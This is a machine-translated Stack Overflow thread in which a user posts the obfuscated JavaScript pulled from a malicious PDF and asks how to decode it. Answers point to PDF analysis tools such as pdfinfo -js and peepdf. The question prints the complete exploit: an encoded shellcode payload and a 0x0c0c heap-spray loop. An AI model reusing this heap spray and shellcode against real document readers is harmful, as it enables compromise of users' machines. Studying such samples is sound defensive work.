- xml - AJAX/Jquery XML 解析
- 具有多重继承的 XML 模式
- .net - 枚举序列化 Json 与 XML
- XML 简单类型、简单内容、复杂类型、复杂内容
我有一个 PDF 文件,我知道它包含一个 JavaScript 脚本文件,该文件会做一些恶意的事情,但目前还不确定是什么。
我已经成功解压缩了 PDF 文件并获得了纯文本 JavaScript 源代码,但它是代码本身,如果有点隐藏在我以前从未见过的这种语法中的话。
代码示例:这是大部分代码的样子
var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')
我想这种带有长变量/函数名称和隐藏文本字符的符号会混淆寻找此类内容的扫描器。
两个问题:
问题一
谁能告诉我 %u4141
这叫什么?
问题二
是否有某种工具可以将该符号转换为纯文本,以便我可以看到它在做什么?
完整的 JS 代码:
var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');
var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");
while (C.length + 20 + 8 < 65536) C+=C;
D = C.substring(0, (0x0c0c-0x24)/2);
D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";
最佳答案
看起来您已经从 PDF 中提取了 JavaScript。您的问题似乎与此 JavaScript 的分析有关。
由于这个主题(在看起来无害的 PDF 文件中混淆和隐藏恶意 JavaScript 代码)似乎越来越受到恶意软件作者的欢迎,让我列出一些工具和网站,这些工具和网站被证明对剖析这个问题的初学者有帮助威胁类型:
qpdf --qdf original.pdf unpacked.pdf
我不知道您是如何准确提取您在问题中提供的 Javascript 片段的。但是,无论如何,不要依赖于在 PDF 中找到 所有 的 JS 代码——除非您是 PDF 专家,知道在哪里查看以及如何发现所有可能的混淆。 (我建议您将第 3 号工具应用于源 PDF,并根据第 6 号中的提示查看生成的 PDF...其他工具可能需要更多地研究 PDF 语法才能真正发挥作用给你。)
这是对我(将近 3 年)旧答案的更新。值得补充的是:
pdfinfo -js
:pdfinfo
(从 v0.25.0 开始,2013 年 12 月 11 日发布)的最新版本(基于 Poppler!,而不是基于 XPDF)现在知道 -js
打印出 PDF 文件中嵌入的 JavaScript 代码的命令行参数。
这甚至适用于许多情况,因为 PDF 源代码中的 /JavaScript
名称通过使用(正式合法的)PDF 名称结构(例如 /4Aavascript
或 /J#61v#61script
或类似的。
不幸的是,对 pdfinfo
的这一奇妙功能的了解仍然太少。请分享!
另一个更新,因为上面提到的peepdf
工具最近得到了extract
添加了子命令:
peepdf.js
:这是一个基于Python的命令行工具,可以分析PDF文件。它由 Jose Miguel Esparza 开发,主要目的是“查明文件是否有害”,但对于 PDF 文件结构的一般探索也非常有用。
安装和使用:
git 克隆 https://github.com/jesparza/peepdf git.peepdf
。peepdf.py
脚本的符号链接(symbolic link),并将其放入您的 $PATH
中:cd git.clone ;
ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
peepdf.py -fil my.pdf
使用 extract js > all-js-in-my.pdf
命令提取和重定向 my.pdf< 中包含的所有 JavaScript/
到文件中。下面的屏幕截图对此进行了描述:
关于javascript - 从恶意 PDF 中提取 JavaScript,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10220497/
这个问题在这里已经有了答案: The Bash command :(){ :|:& };: will spawn processes to kernel death. Can you explain
这个恶意 javascript 代码到底在做什么? (function () { var qk = document.createElement('iframe'); qk.src =
我的 JavaScript 代码是否可以在运行时被(恶意)用户编辑,即使它已上传到网络托管站点? 例如,如果我在脚本中声明一个变量,如下所示: var myvalue = 2; 我想知道是否可以编辑为
很难说出这里要问什么。这个问题模棱两可、含糊不清、不完整、过于宽泛或夸夸其谈,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开,visit the help center . 关闭 9
例子: if($('#' + untrusted_js_code).length) > 0 ....` 通常“untrusted_js_code”应该是表示项目 ID 的简单字符串。变量的值来自
我不确定这是 StackOverflow 还是更多的程序员问题,但这里的其他几个人也提出了类似的问题。 在扫描我的 Google Analytics 帐户时,我注意到一些退出链接标记有查询字符串: ?
我正在开发一个 servlet(在 tomcat 上运行),它接收包含 Java 脚本代码的请求,并使用 java 脚本 API 框架评估/运行代码并将答案返回给用户。 由于我们处理的是用户生成的代码
关闭。这个问题是off-topic .它目前不接受答案。 想改进这个问题吗? Update the question所以它是on-topic用于堆栈溢出。 关闭 9 年前。 Improve this
我是一名优秀的程序员,十分优秀!